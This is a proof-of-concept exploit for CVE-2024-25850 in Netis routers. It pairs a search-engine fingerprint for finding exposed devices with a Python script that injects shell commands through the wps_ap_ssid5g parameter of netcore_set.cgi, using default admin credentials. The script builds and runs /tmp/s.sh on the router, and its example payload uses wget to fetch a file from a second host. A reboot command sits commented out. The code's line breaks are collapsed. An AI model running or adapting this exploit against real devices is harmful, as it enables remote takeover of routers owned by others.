CVE-2024-25850

https://www.netis-systems.com/Suppory/de_details/id/1/de/189.html

title='AP setup' && header='netis'

#!/usr/bin/env python3import urllib.parseimport socket def send_cmd(ip, port, cmd):    cmd = "";"+cmd+";""    #print(f"cmd:{cmd}")    body = "wps_set_5g=ap&wps_mode5g=cpin&wps_ap_ssid5g=" + urllib.parse.quote(cmd)    request = "POST /cgi-bin-igd/netcore_set.cgi HTTP/1.1rn"    request += f"Host: {ip}rn"    request += "Content-Length: {}rn".format(len(body))    request += "Authorization: Basic YWRtaW46YWRtaW4=rn"    request += "Cache-Control: no-cachern"    request += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36rn"    request += "content-type: application/x-www-form-urlencodedrn"    request += f"Origin: http://{ip}rn"    request += f"Referer: http://{ip}/index.htmrn"    request += "Accept-Encoding: gzip, deflatern"    request += "Accept-Language: zh-CN,zh;q=0.9rn"    request += "Connection: closernrn"    request += body    c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    c.settimeout(8)    c.connect((ip,port))    c.send(request.encode())    c.recv(1024)    #print(c.recv(1024))def main(ip, port, cmd):    for i in range(len(cmd)):        if i == 0:            _cmd = f"echo '{cmd[i]}\c' > /tmp/s.sh"        else:            _cmd = f"echo '{cmd[i]}\c' >> /tmp/s.sh"        send_cmd(ip, port, _cmd)    send_cmd(ip, port, "chmod 777 /tmp/s.sh")    send_cmd(ip, port, "sh /tmp/s.sh")if __name__ == "__main__":    main("192.168.1.1", 80, "cd /tmp;wget http://192.168.1.2:8888/a")    #main("192.168.1.1", 80, "reboot")